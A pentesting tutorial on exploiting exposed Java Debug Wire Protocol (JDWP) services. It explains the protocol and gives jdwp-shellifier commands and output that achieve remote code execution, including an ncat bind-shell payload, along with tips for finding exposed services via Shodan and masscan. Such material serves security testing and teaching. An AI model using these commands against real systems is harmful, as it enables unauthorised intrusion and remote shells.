Introduction
In this article, you will learn how to pentest the Java Debug Wire Protocol aka JDWP, If you have any doubts comment down below.
Exploiting
you can utilize the Python exploit found at the website https://github.com/IOActive/jdwp-shellifier.
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
I discovered that using the “–break-on ‘java.lang.String.indexOf'” option makes the exploit work better. Also, if you manage to upload a backdoor to the host and run it instead of just running a command, the exploit becomes even more reliable.
Usually, this debugger runs on port 8000. If you connect to this port via TCP and send “JDWP-Handshake”, the server should reply with the same string. You can also search for this string on the network to identify potential JDWP services.
When listing processes, if you spot the string “jdwp” within a Java process, it likely indicates that the Java Debug Wire Protocol is active. This discovery could potentially allow you to move sideways or even gain higher privileges, particularly if executed with root permissions.
More details
https://ioactive.com/hacking-java-debug-wire-protocol-or-how
Java Debug Wire Protocol
JDWP, which stands for Java Debug Wire Protocol, is a crucial part of the broader Java debugging system known as the Java Platform Debug Architecture (JPDA). Here’s a diagram illustrating the complete architecture:
The Debuggee is comprised of a multi-threaded Java Virtual Machine (JVM) running our desired application.
To allow remote debugging, the JVM instance needs to be initiated with specific options. This includes using the -Xdebug option along with -Xrunjdwp (or -agentlib) option. For instance, starting a Tomcat server with remote debugging enabled would involve commands like this:
In the architecture diagram, the Java Debug Wire Protocol serves as the main connection between the Debugger and the JVM instance. Here are some key points about the protocol:
- It operates as a packet-based network binary protocol.
- Communication is mostly synchronous, meaning the debugger sends a command over JDWP and expects a reply. However, some commands, like Events, don’t require an immediate response and will reply when specific conditions are met, such as encountering a BreakPoint.
- JDWP doesn’t include authentication or encryption, which is typical for debugging protocols.
When a service with these traits is exposed to a potentially hostile network or is accessible from the internet, it poses potential risks.
Handshake: JDWP requires communication to begin with a simple handshake. Upon successful TCP connection, the Debugger (client) sends the 14-character ASCII string “JDWP-Handshake”.
The Debuggee (server) responds by sending the exact same string. This handshake serves as a way to identify active JDWP services on the internet. For example, scanning with ShodanHQ revealed servers responding with this specific banner, offering a passive means to discover active JDWP services.
Communication: JDWP defines messages exchanged between the Debugger and the Debuggee. These messages adhere to a straightforward structure.
The Length and Id fields in JDWP are quite straightforward. The Flag field is used to differentiate between request packets and replies, with a value of 0x80 indicating a reply packet. The CommandSet field categorizes the Command, as shown in the table below:
- CommandSet:
- 0x40: Action to be taken by the JVM (e.g., setting a BreakPoint)
- 0x40–0x7F: Providing event information to the debugger (e.g., the JVM has hit a BreakPoint and is waiting for further actions)
- 0x80: Third-party extensions
For executing arbitrary code, certain commands are particularly interesting:
- VirtualMachine/IDSizes: Defines the size of data structures handled by the JVM.
- ClassType/InvokeMethod: Allows invoking a static function.
- ObjectReference/InvokeMethod: Allows invoking a function from an instantiated object in the JVM.
- StackFrame/(Get|Set)Values: Provides capabilities for pushing/popping from the thread’s stack.
- Event/Composite: Forces the JVM to react to specific behaviors, like setting breakpoints or single-stepping through threads during runtime.
JDWP not only allows accessing and invoking objects in memory but also creating or overwriting data:
- VirtualMachine/CreateString: Transforms a string into a java.lang.String in the JVM runtime.
- VirtualMachine/RedefineClasses: Allows installing new class definitions.
In summary, JDWP provides built-in commands to load arbitrary classes into JVM memory and invoke bytecode. The following steps outline the process of creating exploitation code in Python, serving as a partial implementation of a JDI front end to ensure reliability:
- Fetch Java Runtime reference: Obtain the reference to the java.lang.Runtime class and the getRuntime() method.
- Setup breakpoint and wait for notification (asynchronous calls): Setting up a breakpoint on a method known to be called at runtime, which triggers an asynchronous event when hit, indicating the thread that hit it.
Hence, it’s advisable to set the breakpoint on a method that’s frequently invoked, like java.net.ServerSocket.accept(), as it’s likely to be triggered each time the server receives a new network connection. However, it’s crucial to note that it could be any method existing at runtime.
- Allocating a Java String object in Runtime to carry out the payload: To execute code in the JVM runtime, all manipulated data (such as strings) must exist in the JVM runtime and have a runtime reference. This can be accomplished by simply sending a CreateString command.
Get Runtime object from breakpoint context: At this stage, we almost have all the necessary elements for a successful and reliable exploitation.
The only missing piece is a reference to the Runtime object. Obtaining it is straightforward. We can execute the java.lang.Runtime.getRuntime() static method within the JVM runtime by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references.
Lookup and invoke exec() method in Runtime instance: The final step involves locating the exec() method in the Runtime static object obtained in the previous step and invoking it. This is achieved by sending an ObjectReference/InvokeMethod packet with the appropriate parameters, including the String object created in step three.
There you go! Quick and simple. For example, let’s fire up a Tomcat server with JPDA “debug mode” activated:
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
We’re running the script without specifying a particular command to execute, just to gather some basic system info:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed
Let’s switch gears to a Windows system and approach it from a different angle:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed
We launch our exploit to create a bind shell using the payload “ncat -e /bin/bash -l -p 1337” on a Linux system.
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
The final exploit incorporates these techniques, along with additional checks, and sends suspend/resume signals to minimize disruption (after all, it’s essential not to disrupt the application you’re investigating, right?). It operates in two modes:
- “Default” mode: This mode is completely non-intrusive and simply runs Java code to retrieve local system information. It’s ideal for demonstrating proof of concept to a client.
- By including the “cmd” option, the script executes a system command on the remote host, which is more intrusive. The command is executed with the privileges of the JVM.
This exploit script has been successfully tested against:
- Oracle Java JDK 1.6 and 1.7
- OpenJDK 1.6
- IBM JDK 1.6
Since Java is designed to be platform-independent, commands can be executed on any operating system that Java supports. This is advantageous for pentesters like us: an open JDWP service offers a reliable route to remote code execution. So far, everything looks promising.
What about real-life exploitation?
Indeed, JDWP is widely used in the Java application ecosystem. However, during remote assessments, pentesters may not encounter it frequently because firewalls typically block the port it operates on, as they should. Nevertheless, JDWP instances can still be discovered in the wild:
At the time of writing this article, a cursory search on ShodanHQ immediately uncovers approximately 40 servers initiating the JDWP handshake.
This discovery is intriguing because, as we’ve previously discussed, it’s typically the client-side (debugger) that initiates the dialogue.
Moreover, GitHub also exposes a notable number of potentially vulnerable open-source applications.
Scanning the Internet using masscan to hunt for specific ports like tcp/8000, tcp/8080, tcp/8787, and tcp/5005 uncovered numerous hosts (though I can’t disclose them here) responding to the initial handshake.
What’s surprising is finding “enterprise” applications out there in the wild running a JDWP service by default (I’ll leave it to the curious reader to figure out the exact port numbers).
These methods offer a mere glimpse into the online discovery of open JDWP services. They starkly remind us that applications should regularly undergo thorough security checks, production environments must disable any debugging features, and firewalls should be configured to allow access only to necessary services for normal operation.
Allowing unrestricted access to a JDWP service is no different from allowing access to a gdbserver service (potentially even more stable). I hope you found this article as fascinating as I did exploring JDWP. To all you fearless adventurers out there, happy JDWP hunting!
Conclusion
In conclusion, exploring the intricacies of Pentesting Java Debug Wire Protocol (JDWP) illuminates both its allure and inherent risks. As shown, JDWP offers a powerful avenue for exploitation, given its prevalent usage in enterprise applications and susceptibility to vulnerabilities.
Nonetheless, it underscores the critical necessity for robust security measures, routine reviews, and meticulous firewall configurations to thwart unauthorized access and potential breaches. By adhering to these principles, stakeholders can effectively navigate the complexities of JDWP, fostering heightened awareness and resilience, thus fortifying the integrity and security of their systems within an ever-evolving digital landscape.
Reference
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html